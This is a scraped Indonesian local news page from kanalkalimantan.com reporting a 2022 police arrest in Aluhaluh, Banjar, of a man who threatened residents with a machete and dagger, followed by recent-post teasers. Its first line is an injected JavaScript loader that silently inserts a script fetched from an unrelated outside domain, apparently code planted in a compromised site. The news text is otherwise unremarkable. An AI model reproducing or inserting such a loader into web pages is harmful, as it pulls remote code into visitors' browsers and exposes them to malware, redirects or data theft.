(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Lama Resahkan Warga di Aluhaluh, Pengancam dengan Sajam Akhirnya Dibekuk Polisi


KANALKALIMANTAN.COM, MARTAPURA – Kepolisian Sektor (Polsek) Aluhaluh berhasil mengamankan seorang laki-laki berinisial DI, Rabu (6/4/2022), di Desa Tanipah RT03, Kecamatan Aluhaluh, Kabupaten Banjar, setelah beberapa kali kabur dari penangkapan pihak kepolisian.

Sebelumnya DI sudah dilaporkan atas tindakan mengancam dengan sajam kepada DN, warga Desa Tanipah RT 02 Kecamatan Aluhaluh, Kabupaten Banjar, pada 20 Januari 2022 lalu.

Hal itu pun dibenarkan oleh Kapolsek Aluh-aluh, Iptu Walimin yang memimpin langsung proses penangkapan pelaku.

“Polsek Aluhaluh berhasil mengamankan pelaku pada Rabu siang pukul 13.00 Wita di Jembatan Desa Tanipah, dan pelaku saat ini sudah dibawa ke Mapolres Banjarbaru,” ujar Iptu Walimin Kapolsek Aluhaluh, Kamis (7/4/2022).

 

Baca juga  : Usai Dilantik, Kadis PUPR Tegaskan Perbaikan Jalan Desa dan Kecamatan Jadi Prioritas!

Iptu Walimin mengungkapkan, sejak pelaku dilaporkan pertama kali pada bulan Januari, pelaku beberapa kali sempat hilang dan kembali meresahkan warga karena melakukan pengancaman dengan senjata tajam.

“Pelaku sudah lama dilaporkan warga kemudian beberapa kali hilang, banyak warga yang resah karena tindakan pelaku, akhirnya kami bisa menangkapnya,” ungkapnya.

Pelaku mengancam korban dengan membawa senjata tajam jenis parang dan pisau belati. Tindakan pelaku pun membuat banyak warga yang merasa terancam dengan keberadaannya.

Barang bukti yang berhasil diamankan pihak kepolisian adalah satu buah sajam jenis pisau belati sepanjang 27 Cm dan satu buah sajam jenis parang dengan panjang 67 Cm.

 

Baca juga  : Tata Kawasan Sekumpul, Pemkab Banjar Tambah Material hingga Perbaikan Cat Gerbang Masuk

Atas perbuatannya pelaku dikenai hukuman pidana penjara paling lama 9 atau 10 tahun. Sebagaimana tertera dalam Pasal 335 KUHP Jo pasal 2 ayat (1) UU Darurat Nomor 12 tahun 1951 tentang pengancaman dan kepemilikan senjata tajam tanpa izin yang sah.

“Alhamdulillah pelaku sudah ditahan dan beberapa warga yang sebelumnya resah kini mengaku sudah tenang,” tutup Kapolsek.(kanalkalimantan.com/wanda)

Reporter  : wanda
Editor : bie


Desy Arfianty

Recent Posts

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

1 jam ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

2 jam ago

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

3 jam ago

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

4 jam ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

19 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

22 jam ago

This website uses cookies.